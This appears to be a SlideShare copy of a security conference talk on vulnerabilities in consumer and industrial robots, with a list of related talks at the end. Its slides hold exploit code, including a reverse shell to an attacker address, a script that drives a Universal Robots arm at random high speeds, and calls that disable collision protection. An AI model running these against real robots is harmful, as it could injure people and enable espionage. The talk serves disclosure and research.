SlideShare a Scribd company logo
1 of 51
Download to read offline
1	
Hacking Robots
Before Skynet
Cesar Cerrudo
CTO IOActive Labs (@cesarcer)
Lucas Apa
Senior Security Consultant (@lucasapa)
Intro to Robotics
●  Modern Robotics Adoption
●  Ecosystems, Topologies and Architectures
●  Accidents and Relevant Incidents
2
Chosen Home and Business Robots
3	
SoftBank Robotics: NAO and Pepper
~20000
$114M Funding
UBTECH Robotics: Alpha 1S and Alpha 2
$100M Funding
ROBOTIS: OP2 and THORMANG3
Chosen Home and Business Robots
4	
SoftBank Robotics: NAO and Pepper
ATOM Z530 | Atom E3845 QUAD
1 GB RAM | 4 GB RAM
Ethernet, WiFi, BT
Linux 2.6.33-rt31-aldebaran-rt (Nao)
Linux 4.0 (Pepper)
Linux 3.10.72 (Android Tablet) UBTECH Robotics: Alpha 1S and Alpha 2
Linux 3.10.0 armv71
ROBOTIS: OP2 and THORMANG3
Intel Atom N2600 / Ubuntu 12.04 LTS
Chosen Industrial Collaborative Robots
5	
Universal Robots: UR3, UR5, UR10
Rethink Robotics: Baxter and Sawyer
Linux 3.13.0-68
Java / C++
Chosen Industrial Collaborative Robots
6	
UR10 (Universal Robots)
Baxter (Rethink Robotics)
The Moley Robotic Kitchen (2xUR10 Arms) DARPA's ALIAS Robot (UR3 Arm)
Chosen Robot Controller
7	
Asratec Corp: Several robots using the affected V-Sido technology
Hacked Robots in Action
8
Hacked Robots in Action
9
Research Approach
●  Threat Modeling and Risk Assessment
●  Vulnerability Assessment
●  Reverse Engineering Tactics/Strategy
1
0
Finding Robots on Large Networks
●  Easy with mDNS (multicast DNS)
•  NAO/Pepper default hostname
is "nao.local"
•  Baxter/Sawyer default hostname
is the serial number followed by
local. Ex: "011303P0017.local" or
<robot name>.local
•  Universal Robots UR3, UR5,
UR10 default hostname is
"ur.local"
	
1
1
Authentication/Authorization Vulnerabilities
●  Bluetooth, WiFi & Ethernet network connectivity
●  Many unprotected services (Proprietary & Open Source)
○  Move joints in Universal Robots through 5 control TCP
ports
○  V-Sido OS lacks of authentication (interface sw/hw)
○  UBTech control ports
○  ROBOTIS RoboPlus Protocol without authentication
○  Baxter/Sawyer SDK/RSDK shell to access cameras or move.
○  Attack on Pepper/NAO allows accessing most of the robots
built-in modules, microphones, body control, databases, network
cards, VPN secrets, face recognition modules, etc.
Undocumented functions allow RCE.
○  Authentication Bypass in Pepper Admin Web Console
1
2
Authentication Bypass in Pepper Admin Console
1
3	
location ~* /libs/qimessaging/.*/qimessaging.js {
auth_pam "Secure Zone";
auth_pam_service_name "nginx";
}
http://192.168.1.105GET / 200
http://192.168.1.105GET /lib/requirejs/require.js?v=2.0.0 200
http://192.168.1.105GET /js/config.js?v=2.0.0 200
http://192.168.1.105GET /js/main.js?v=1.2.0 200
http://192.168.1.105GET /js/app.js?v=1.2.0 200
http://192.168.1.105GET /libs/qimessaging/1.0/qimessaging.js?v=1.2.0 401 Forbidden
No real
authentication !
nginx config file
Turning Friendly Robots into Evil Robots
1
4	
●  Hacking Alpha2 to cause human damage
2 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3 connected = sock.connect((HOST, PORT))
4 data = ""
5 print "[!] Sending Protocol HELLO"
7 sock.send("x34x12x12x00x00x00x01x00x00x00x92x01xabx91xa9
xe4xb8xadx73x73x73x73x73x73")
9 time.sleep(2)
10 print "[!] Requesting Available Actions"
12 sock.send("x34x12x07x00x00x00x01x00x00x00x92x03xa0")
13 sock.recv(1000)
14 print "[!] Uploading CHUCKY.UBX"
16 sock.send("x34x12x04x00x00x00x01x00x00x00")
(...)
27 print "[!] Sending Keep-Alive"
28 sock.send("x34x12x04x00x00x00x01x00x00x00")
29 sock.recv(1000)
31 print "[!] Launching CHUCKY"
32 sock.send("x34x12x0fx00x00x00x01x00x00x00x92x05xa8x91xa6Chucky")
33 sock.close()
34 print data
Turning Friendly Robots into Evil Robots
1
5	
●  Hacking Alpha2 to cause human damage
○  Demo
Turning Friendly Robots into Evil Robots
1
6	
●  Hacking Alpha2 to cause human damage
○  Demo
Robots as Insider Threats: Espionage Possibilities
1
7	
2x HD Cameras + 1x 3D Camera
(Pepper)
4x Microphones
(NAO)
Trade Secrets Facial Recognition Hitachi's EMIEW 2
Robots as Insider Threats: Espionage Possibilities
1
8	
●  Hacking NAO/Pepper and turning it into a spy cam
Robots as Insider Threats: Espionage Possibilities
1
9	
●  Hacking NAO/Pepper and turning it into a spy cam
proxyVideo = ALProxy("ALVideoDevice", IP, PORT)
resolution = vision_definitions.kQVGA
colorSpace = vision_definitions.kRGBColorSpace
imgClient = proxyVideo.subscribe("_client", resolution, colorSpace, 5)
# Select camera.
proxyVideo.setParam(vision_definitions.kCameraSelectID, cameraID)
image = proxyVideo.getImageRemote(imgClient)
motionProxy = ALProxy("ALMotion", IP, PORT)
motionProxy.setStiffnesses("Head", 1.0)
# Example showing a slow, relative move of "HeadYaw".
# Calling this multiple times will move the head further.
names = "HeadYaw"
changes = 1
fractionMaxSpeed = 0.5
motionProxy.changeAngles(names, changes, fractionMaxSpeed)
ALVideoDevice.so
ALMotion.so
update video feed
Robots as Insider Threats: Espionage Possibilities
2
0	
●  Hacking NAO/Pepper and turning it into a spy cam
○  Demo
UBTech espionage?
2
1	
●  Sends GPS coordinates encrypted with
hardcoded key (Alpha 1S)
●  Sends GPS coordinates unencrypted
(Alpha 2)
●  Photos are automatically synced to cloud
●  Sends IMEI and telephony data (Mobile
app)
●  Sends all recognized Voice data (only to a
local network IP Address)
●  Robot can be controlled from the cloud
●  All transmitted in cleartext☺
Human Safety Protections
●  Self-collision sensors
●  External-collision (Humans/Objects)
●  Responsibility/Liability ?
"Collision avoidance's aim is to avoid damaging the robot, its
environment, and first of all avoid hurting people. This implies
checking the environment with the metrical sensors of the robot in
order to see if an arm or the base is not going to hit something or
someone"
2
2
Disabling Universal Robots Safety Protections
●  Can these robots harm a person?
○  While running at slow speed their force is more than
sufficient to cause a skull fracture.
●  Integrators define "Safety Settings".
●  Limit force, momentum, speed, tool orientation, boundaries,
etc. All configs set with a "Safety Password".
2
3	
Safety I/O Safety Planes
Exploiting Universal Robots Safety Protections
2
4	
1.  Confirm the remote version on the UR Dashboard Server.
$	nc	<remoteIP>	29999	
Connected:	Universal	Robots	Dashboard	Server	
PolyscopeVersion	←	command	
3.3.4.310	←	response	(version	disclosure)	
load	installation	notexist	←	command	
File	not	found:	/home/ur/ursys-3.3.4.310/GUI/notexist	←	
response	(base	folder	disclosure)
Exploiting Universal Robots Safety Protections
2
5	
2.  Exploit a stack-based buffer overflow in UR Modbus TCP service.
Modbus read/write vuln. (binary executed as root) (ASLR/NX)
arg1	=	"-c"	
arg2	=	"/bin/bash	-i	>&	/dev/tcp/<<myIPAddress>>/8981	0>&1"	
arg0	=	["/bin/bash",	arg1,	arg2]	
execve(*arg0[0],	*arg0,	0)
Exploiting Universal Robots Safety Protections
2
6
Exploiting Universal Robots Safety Protections
2
7
Exploiting Universal Robots Safety Protections
2
8	
3.  Modify the safety.conf file to override all safety general limits,
joints limits, boundaries, and safety I/O values.
4.  Force a collision in the checksum calculation, and upload the new
file. We need to fake this number since integrators are likely to
write a note with the current checksum value on the hardware, as
this is a common best practice.
5.  Restart the robot so the safety configurations are updated by the
new file. Process continuation !
>>	python	-c	'	
import	subprocess,	time;		
time.sleep(25);		
subprocess.Popen(["sh	$$basefolder$$/
starturcontrol.sh"],	
shell=True	,close_fds=True)'	&n
Exploiting Universal Robots Safety Protections
2
9	
6.  Load new installation file (new safety settings)
7.  Move the robot in an arbitrary, dangerous manner by exploiting an
authentication issue on the UR control service.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, 30002))
for x in xrange(50):
q = [random.uniform(-2*math.pi, 2*math.pi), 
random.uniform(-2*math.pi, 2*math.pi), 
random.uniform(-2*math.pi, 2*math.pi), 
random.uniform(-2*math.pi, 2*math.pi), 
random.uniform(-2*math.pi, 2*math.pi), 
random.uniform(-2*math.pi, 2*math.pi)] ← joint positions
a = random.uniform(1, 20) ← joint acceleration
v = random.uniform(1, 20) ← joint speed
payload = "movej("+ str(q) + ", a="+str(a)+", v="+str(v)+")" ← move joints
s.send(payload + "n")
print "[!] Sent", payload
time.sleep(1)
data = s.recv(1024)
s.close()
print("Received", repr(data))
Exploit Demo
3
0
Exploit Demo
3
1
Disabling Pepper/NAO Human Safety Settings (1/2)
●  It is possible to disable all external-collision avoidance
protections by changing the state of the ALMotion module
through the setExternalCollisionProtectionEnabled function.
○  NAO does not require user consent for disabling critical
reflexes
○  Pepper require user consent for disabling critical reflexes
(exploit Auth Bypass in Web Console)
3
2	
Pepper blind spots. Arm speed is reduced
when moving inside these zonesSecurity Distances NAO/Pepper
Disabling Pepper/NAO Human Safety Settings (2/2)
3
3	
"""
This exploit uses the setExternalCollisionProtectionEnabled method.
"""
# Get the service ALMotion.
motion_service = session.service("ALMotion")
# Disables "Move", "LArm" and "RArm" external anti collision
name = "All"
enable = False
motion_service.setExternalCollisionProtectionEnabled(name, enable)
(…)
Security protection can be disabled from the
vulnerable Pepper Web Console.
Disabling Baxter/Sawyer Human Safety Settings
3
4	
●  Arm joint mode: "Torque mode"
○  This control mode should be used with extreme caution,
since this control mode bypasses collision avoidance and
can result in potentially harmful motions.
○  To enable torque mode: publish a JointCommand message
to the joint_command topic for a given arm to set the arm
into the desired control mode and move it (mode 3):
	
$ rostopic pub /robot/limb/<side>/joint_command
baxter_core_msgs/JointCommand "{mode: 3, command: [0.0,
0.01, 0.0, 3.0, 2.55, -1.0, -2.07], names: ['left_w0', 'left_w1',
'left_w2', 'left_e0', 'left_e1', 'left_s0', 'left_s1']}" -r 100
○  Other ways to disable collision avoidance are also
possible
Vulnerable Research Frameworks: ROS
3
5	
●  Most widely used open source framework
●  Primary goal is to support code reuse in robotics
research and development.
●  Many known security problems
○  No authentication
○  No encryption
○  No sender verification
●  Secure ROS (highly experimental) by Ruffin White
○  Transport encryption, native TLS support
○  Access control
○  AppArmor process profiles
○  Not developed anymore
ROS: Research => Production
3
6	
MICO
NAV2
Schunk LWA 4P
JACO
HiroNXO
ERLE Plane
REEM
Manipulator
PR2
Pepper
3
7
Physical Attacks - Attacking Connectivity
3
8	
Baxter and Sawyer expose their LAN
ports on the pedestal.
Port allow to access robot network
services or add Modbus TCP
capabilities.
Physical Attacks - Attacking Connectivity
3
9	
Universal Robots Controller supports
wireless mouse/keyboards on their
USB interface.
Physical Attacks - Attacking Connectivity
4
0	
Pepper and NAO heads plastic lid can
be easily removed to access the LAN
port. Port allows to access robot
network services
Physical Attacks - Insecure Storage
4
1	
●  Removable storage
○  Alpha 2 saves robot actions and WiFi passwords
	generic:/sdcard/ubtech/temp/image # ls -lha
-rw-rw---- 1 root sdcard_rw 10K 2016-11-02 01:10 -943417681 <--- QR
code
drwxrwx--x 2 root sdcard_rw 4.0K 2016-11-02 01:21 .
drwxrwx--x 3 root sdcard_rw 4.0K 2016-11-02 00:40 ..
-rw-rw---- 1 root sdcard_rw 49 2016-11-02 01:21 819289450 <--- QR
code
$platform-tools/adb pull /sdcard/ubtech/temp/image/-943417681
One hack to rule them all
4
2	
●  Vendor clouds can be attacked
○  Where vendors can control your robot or
push applications
○  Massive KURATAS robots army !
	
Web Controller sends pairing key to vendor
Killing Robots
4
3	
private void startSendBin()
{
((AlphaApplication)this.mContext.getApplicationContext()).
getBlueToothManager().addBlueToothInteraction(this.mSe
ndListener);
[..........]
((AlphaApplication)this.mContext.getApplicationContext()).
getBlueToothManager().sendCommand(((AlphaApplication
)this.mContext.getApplicationContext()).getCurrentBluetoot
h().getAddress(), (byte)20, arrayOfByte,
arrayOfByte.length, true);
}
}
●  Remote robot kill (all from UBTech / SoftBank)
○  Malicious firmware upgrades. File integrity not verified.
○  Over-the-air upgrades (Bluetooth/WiFi)
○  Undocumented functions !
○  Return to factory? Factory reset? $$$$
	
Alpha remote kill
Pepper/NAO's	ALSystem module
exports factoryReset and
upgrade (Arguments: imageUrl,
checksum which can be null)
which can be called remotely
Cloud Services - Account Hijacking
4
4	
●  Cloud services control robots
○  Trigger updates, install/remove apps
○  Contact customer support, get firmware images
○  Bind/unbind cloud accounts to robot
Unsigned Updates
4
5	
●  No firmware/apps integrity
○  Unsigned Firmware Images in ROBOTIS-OP2
○  Updates with Unsigned APKs in UBTech Alpha (Robot & apps)
○  Null checksum in SoftBank's NAO/Pepper
	
printf("nDownloading Bytesum:%2Xn", bytesum);
...
/*--- end download ---*/
r = write(fd, "go 8023000", 10);
r = write(fd, "r", 1);
int wait_count = 0;
char last_char = 0;
while(1)
{
if(kbhit())
{
TxCh = _getch();
if(TxCh == 0x1b)
break;
else if(TxCh == 127) // backspace
TxCh = 0x08; // replace backspace value
r = write(fd, &TxCh, 1); ← writes directly
}
Alpha app update ROBOTIS OP2 RoboPlus
Security Problems in Today’s Robots
●  What we found
○  Insecure Communications
○  Memory Corruption Issues
○  Remote code execution vulns
○  File Integrity Issues
○  Authentication Issues
○  Missing Authorization
○  Weak Cryptography
○  Firmware update/upgrade problems
○  Privacy Issues
○  Undocumented features (also vulnerable to RCE, etc)
○  Weak Default Configuration (SSH Secret sharing, Passwords)
○  Vulnerable Open Source Robot Frameworks and Libraries
	
4
6
Consequences of a Hacked Robot
●  In the home
○  Privacy issues, human and property damage
●  Businesses & Industry
○  Espionage, human and property damage, corporate/
business network compromise
●  Healthcare & Militar
○  Direct human threats
4
7
Vendor Responses
“I think the findings are very
interesting. It is something we
should do something about :-)”
(No fixes yet)
“Every thing will be fixed in the next
release”… 3 months later… “It can’t
be fixed” .
(No fixes yet)
“Thanks! Got it!”
”We encourage developers to code
responsibly and we discourage
inappropriate
robot behavior!”
4
8	
(No fi(No fixes yet)
xes yet)
Improving World’s Robot Security
●  Security from Day One
●  Factory Restore
●  Secure the Supply Chain
●  Secure by Default
●  Education
●  Vulnerability Disclosure Response
●  Invest less in marketing and more in cyber security!!!!
4
9
Conclusions
●  Robots are awesome
●  Robots are insecure
●  Human safety protections can be disabled
○  Currents robots can’t provide enough safety
●  Robots can kill and hurt people, also damage property
●  Research projects moved into production without adding security
●  Marketing is winning
●  We need to fix this ASAP
5
0
Fin
Thanks
ccerrudo@ioactive.com (@cesarcer)
lucas.apa@ioactive.com (@lucasapa)
5
1

More Related Content

What's hot

Csw2017 bazhaniuk exploring_yoursystemdeeper_updated
Csw2017 bazhaniuk exploring_yoursystemdeeper_updatedCsw2017 bazhaniuk exploring_yoursystemdeeper_updated
Csw2017 bazhaniuk exploring_yoursystemdeeper_updatedCanSecWest
 
Troopers15 Lightning talk: VMI & DRAKVUF
Troopers15 Lightning talk: VMI & DRAKVUFTroopers15 Lightning talk: VMI & DRAKVUF
Troopers15 Lightning talk: VMI & DRAKVUFTamas K Lengyel
 
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoTCSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoTCanSecWest
 
Sandbox detection: leak, abuse, test - Hacktivity 2015
Sandbox detection: leak, abuse, test - Hacktivity 2015Sandbox detection: leak, abuse, test - Hacktivity 2015
Sandbox detection: leak, abuse, test - Hacktivity 2015Zoltan Balazs
 
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...Zoltan Balazs
 
Predicting and Abusing WPA2/802.11 Group Keys
Predicting and Abusing WPA2/802.11 Group KeysPredicting and Abusing WPA2/802.11 Group Keys
Predicting and Abusing WPA2/802.11 Group Keysvanhoefm
 
D1 t1 t. yunusov k. nesterov - bootkit via sms
D1 t1   t. yunusov k. nesterov - bootkit via smsD1 t1   t. yunusov k. nesterov - bootkit via sms
D1 t1 t. yunusov k. nesterov - bootkit via smsqqlan
 
Kochetova+osipv atm how_to_make_the_fraud__final
Kochetova+osipv atm how_to_make_the_fraud__finalKochetova+osipv atm how_to_make_the_fraud__final
Kochetova+osipv atm how_to_make_the_fraud__finalPacSecJP
 
Reverse Engineering the TomTom Runner pt. 1
Reverse Engineering the TomTom Runner pt. 1 Reverse Engineering the TomTom Runner pt. 1
Reverse Engineering the TomTom Runner pt. 1 Luis Grangeia
 
Kasza smashing the_jars
Kasza smashing the_jarsKasza smashing the_jars
Kasza smashing the_jarsPacSecJP
 
Pitfalls and limits of dynamic malware analysis
Pitfalls and limits of dynamic malware analysisPitfalls and limits of dynamic malware analysis
Pitfalls and limits of dynamic malware analysisTamas K Lengyel
 
Malware Collection and Analysis via Hardware Virtualization
Malware Collection and Analysis via Hardware VirtualizationMalware Collection and Analysis via Hardware Virtualization
Malware Collection and Analysis via Hardware VirtualizationTamas K Lengyel
 
Revealing the Attack Operations Targeting Japan by Shusei Tomonaga & Yuu Nak...
Revealing the Attack Operations Targeting Japan by  Shusei Tomonaga & Yuu Nak...Revealing the Attack Operations Targeting Japan by  Shusei Tomonaga & Yuu Nak...
Revealing the Attack Operations Targeting Japan by Shusei Tomonaga & Yuu Nak...CODE BLUE
 
Ransomware - what is it, how to protect against it
Ransomware - what is it, how to protect against itRansomware - what is it, how to protect against it
Ransomware - what is it, how to protect against itZoltan Balazs
 
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...Positive Hack Days
 
Top 10 secure boot mistakes
Top 10 secure boot mistakesTop 10 secure boot mistakes
Top 10 secure boot mistakesJustin Black
 
Reverse Engineering the TomTom Runner pt. 2
Reverse Engineering the TomTom Runner pt. 2Reverse Engineering the TomTom Runner pt. 2
Reverse Engineering the TomTom Runner pt. 2Luis Grangeia
 
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Shota Shinogi
 

What's hot (20)

Csw2017 bazhaniuk exploring_yoursystemdeeper_updated
Csw2017 bazhaniuk exploring_yoursystemdeeper_updatedCsw2017 bazhaniuk exploring_yoursystemdeeper_updated
Csw2017 bazhaniuk exploring_yoursystemdeeper_updated
 
Troopers15 Lightning talk: VMI & DRAKVUF
Troopers15 Lightning talk: VMI & DRAKVUFTroopers15 Lightning talk: VMI & DRAKVUF
Troopers15 Lightning talk: VMI & DRAKVUF
 
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoTCSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
 
Sandbox detection: leak, abuse, test - Hacktivity 2015
Sandbox detection: leak, abuse, test - Hacktivity 2015Sandbox detection: leak, abuse, test - Hacktivity 2015
Sandbox detection: leak, abuse, test - Hacktivity 2015
 
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
 
ShinoBOT Suite
ShinoBOT SuiteShinoBOT Suite
ShinoBOT Suite
 
Hacker bootcamp
Hacker bootcampHacker bootcamp
Hacker bootcamp
 
Predicting and Abusing WPA2/802.11 Group Keys
Predicting and Abusing WPA2/802.11 Group KeysPredicting and Abusing WPA2/802.11 Group Keys
Predicting and Abusing WPA2/802.11 Group Keys
 
D1 t1 t. yunusov k. nesterov - bootkit via sms
D1 t1   t. yunusov k. nesterov - bootkit via smsD1 t1   t. yunusov k. nesterov - bootkit via sms
D1 t1 t. yunusov k. nesterov - bootkit via sms
 
Kochetova+osipv atm how_to_make_the_fraud__final
Kochetova+osipv atm how_to_make_the_fraud__finalKochetova+osipv atm how_to_make_the_fraud__final
Kochetova+osipv atm how_to_make_the_fraud__final
 
Reverse Engineering the TomTom Runner pt. 1
Reverse Engineering the TomTom Runner pt. 1 Reverse Engineering the TomTom Runner pt. 1
Reverse Engineering the TomTom Runner pt. 1
 
Kasza smashing the_jars
Kasza smashing the_jarsKasza smashing the_jars
Kasza smashing the_jars
 
Pitfalls and limits of dynamic malware analysis
Pitfalls and limits of dynamic malware analysisPitfalls and limits of dynamic malware analysis
Pitfalls and limits of dynamic malware analysis
 
Malware Collection and Analysis via Hardware Virtualization
Malware Collection and Analysis via Hardware VirtualizationMalware Collection and Analysis via Hardware Virtualization
Malware Collection and Analysis via Hardware Virtualization
 
Revealing the Attack Operations Targeting Japan by Shusei Tomonaga & Yuu Nak...
Revealing the Attack Operations Targeting Japan by  Shusei Tomonaga & Yuu Nak...Revealing the Attack Operations Targeting Japan by  Shusei Tomonaga & Yuu Nak...
Revealing the Attack Operations Targeting Japan by Shusei Tomonaga & Yuu Nak...
 
Ransomware - what is it, how to protect against it
Ransomware - what is it, how to protect against itRansomware - what is it, how to protect against it
Ransomware - what is it, how to protect against it
 
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
Критически опасные уязвимости в популярных 3G- и 4G-модемах или как построить...
 
Top 10 secure boot mistakes
Top 10 secure boot mistakesTop 10 secure boot mistakes
Top 10 secure boot mistakes
 
Reverse Engineering the TomTom Runner pt. 2
Reverse Engineering the TomTom Runner pt. 2Reverse Engineering the TomTom Runner pt. 2
Reverse Engineering the TomTom Runner pt. 2
 
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
 

Similar to Lucas apa pacsec slides

Lukas Apa - Hacking Robots Before SkyNet
Lukas Apa - Hacking Robots Before SkyNet Lukas Apa - Hacking Robots Before SkyNet
Lukas Apa - Hacking Robots Before SkyNet NoNameCon
 
Wireless security testing with attack by Keiichi Horiai - CODE BLUE 2015
Wireless security testing with attack by Keiichi Horiai - CODE BLUE 2015Wireless security testing with attack by Keiichi Horiai - CODE BLUE 2015
Wireless security testing with attack by Keiichi Horiai - CODE BLUE 2015CODE BLUE
 
Fire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS FirewallsFire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS FirewallsPriyanka Aash
 
TestowanieIoT2016
TestowanieIoT2016TestowanieIoT2016
TestowanieIoT2016kraqa
 
Managing Large-scale Networks with Trigger
Managing Large-scale Networks with TriggerManaging Large-scale Networks with Trigger
Managing Large-scale Networks with Triggerjathanism
 
Android Things in action
Android Things in actionAndroid Things in action
Android Things in actionStefano Sanna
 
Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?Nelson Brito
 
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...Felipe Prado
 
Labs_BT_20221017.pptx
Labs_BT_20221017.pptxLabs_BT_20221017.pptx
Labs_BT_20221017.pptxssuserb4d806
 
How Automated Vulnerability Analysis Discovered Hundreds of Android 0-days
How Automated Vulnerability Analysis Discovered Hundreds of Android 0-daysHow Automated Vulnerability Analysis Discovered Hundreds of Android 0-days
How Automated Vulnerability Analysis Discovered Hundreds of Android 0-daysPriyanka Aash
 
Cisco Malware: A new risk to consider in perimeter security designs
Cisco Malware: A new risk to consider in perimeter security designsCisco Malware: A new risk to consider in perimeter security designs
Cisco Malware: A new risk to consider in perimeter security designsManuel Santander
 
ACSAC2020 "Return-Oriented IoT" by Kuniyasu Suzaki
ACSAC2020 "Return-Oriented IoT" by Kuniyasu SuzakiACSAC2020 "Return-Oriented IoT" by Kuniyasu Suzaki
ACSAC2020 "Return-Oriented IoT" by Kuniyasu SuzakiKuniyasu Suzaki
 
OT Security - h-c0n 2020
OT Security - h-c0n 2020OT Security - h-c0n 2020
OT Security - h-c0n 2020Jose Palanco
 
BSides London 2015 - Proprietary network protocols - risky business on the wire.
BSides London 2015 - Proprietary network protocols - risky business on the wire.BSides London 2015 - Proprietary network protocols - risky business on the wire.
BSides London 2015 - Proprietary network protocols - risky business on the wire.Jakub Kałużny
 
New Zephyr features: LWM2M / FOTA Framework - SFO17-113
New Zephyr features: LWM2M / FOTA Framework - SFO17-113New Zephyr features: LWM2M / FOTA Framework - SFO17-113
New Zephyr features: LWM2M / FOTA Framework - SFO17-113Linaro
 
Automated reduction of attack surface using call graph enumeration
Automated reduction of attack surface using call graph enumerationAutomated reduction of attack surface using call graph enumeration
Automated reduction of attack surface using call graph enumerationRuo Ando
 
26.1.7 lab snort and firewall rules
26.1.7 lab   snort and firewall rules26.1.7 lab   snort and firewall rules
26.1.7 lab snort and firewall rulesFreddy Buenaño
 
DEF CON 27- JISKA FABIAN - vacuum cleaning security
DEF CON 27- JISKA FABIAN - vacuum cleaning securityDEF CON 27- JISKA FABIAN - vacuum cleaning security
DEF CON 27- JISKA FABIAN - vacuum cleaning securityFelipe Prado
 

Similar to Lucas apa pacsec slides (20)

Lukas Apa - Hacking Robots Before SkyNet
Lukas Apa - Hacking Robots Before SkyNet Lukas Apa - Hacking Robots Before SkyNet
Lukas Apa - Hacking Robots Before SkyNet
 
Wireless security testing with attack by Keiichi Horiai - CODE BLUE 2015
Wireless security testing with attack by Keiichi Horiai - CODE BLUE 2015Wireless security testing with attack by Keiichi Horiai - CODE BLUE 2015
Wireless security testing with attack by Keiichi Horiai - CODE BLUE 2015
 
Fire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS FirewallsFire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS Firewalls
 
TestowanieIoT2016
TestowanieIoT2016TestowanieIoT2016
TestowanieIoT2016
 
Managing Large-scale Networks with Trigger
Managing Large-scale Networks with TriggerManaging Large-scale Networks with Trigger
Managing Large-scale Networks with Trigger
 
Android Things in action
Android Things in actionAndroid Things in action
Android Things in action
 
Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?
 
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
 
Labs_BT_20221017.pptx
Labs_BT_20221017.pptxLabs_BT_20221017.pptx
Labs_BT_20221017.pptx
 
UDOO IoT Platform
UDOO IoT PlatformUDOO IoT Platform
UDOO IoT Platform
 
How Automated Vulnerability Analysis Discovered Hundreds of Android 0-days
How Automated Vulnerability Analysis Discovered Hundreds of Android 0-daysHow Automated Vulnerability Analysis Discovered Hundreds of Android 0-days
How Automated Vulnerability Analysis Discovered Hundreds of Android 0-days
 
Cisco Malware: A new risk to consider in perimeter security designs
Cisco Malware: A new risk to consider in perimeter security designsCisco Malware: A new risk to consider in perimeter security designs
Cisco Malware: A new risk to consider in perimeter security designs
 
ACSAC2020 "Return-Oriented IoT" by Kuniyasu Suzaki
ACSAC2020 "Return-Oriented IoT" by Kuniyasu SuzakiACSAC2020 "Return-Oriented IoT" by Kuniyasu Suzaki
ACSAC2020 "Return-Oriented IoT" by Kuniyasu Suzaki
 
OT Security - h-c0n 2020
OT Security - h-c0n 2020OT Security - h-c0n 2020
OT Security - h-c0n 2020
 
BSides London 2015 - Proprietary network protocols - risky business on the wire.
BSides London 2015 - Proprietary network protocols - risky business on the wire.BSides London 2015 - Proprietary network protocols - risky business on the wire.
BSides London 2015 - Proprietary network protocols - risky business on the wire.
 
New Zephyr features: LWM2M / FOTA Framework - SFO17-113
New Zephyr features: LWM2M / FOTA Framework - SFO17-113New Zephyr features: LWM2M / FOTA Framework - SFO17-113
New Zephyr features: LWM2M / FOTA Framework - SFO17-113
 
Automated reduction of attack surface using call graph enumeration
Automated reduction of attack surface using call graph enumerationAutomated reduction of attack surface using call graph enumeration
Automated reduction of attack surface using call graph enumeration
 
26.1.7 lab snort and firewall rules
26.1.7 lab   snort and firewall rules26.1.7 lab   snort and firewall rules
26.1.7 lab snort and firewall rules
 
DEF CON 27- JISKA FABIAN - vacuum cleaning security
DEF CON 27- JISKA FABIAN - vacuum cleaning securityDEF CON 27- JISKA FABIAN - vacuum cleaning security
DEF CON 27- JISKA FABIAN - vacuum cleaning security
 
Hacking the swisscom modem
Hacking the swisscom modemHacking the swisscom modem
Hacking the swisscom modem
 

More from PacSecJP

Kavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalKavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalPacSecJP
 
Ryder robertson pac-sec skeleton 2017_jp
Ryder robertson pac-sec skeleton 2017_jpRyder robertson pac-sec skeleton 2017_jp
Ryder robertson pac-sec skeleton 2017_jpPacSecJP
 
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-j
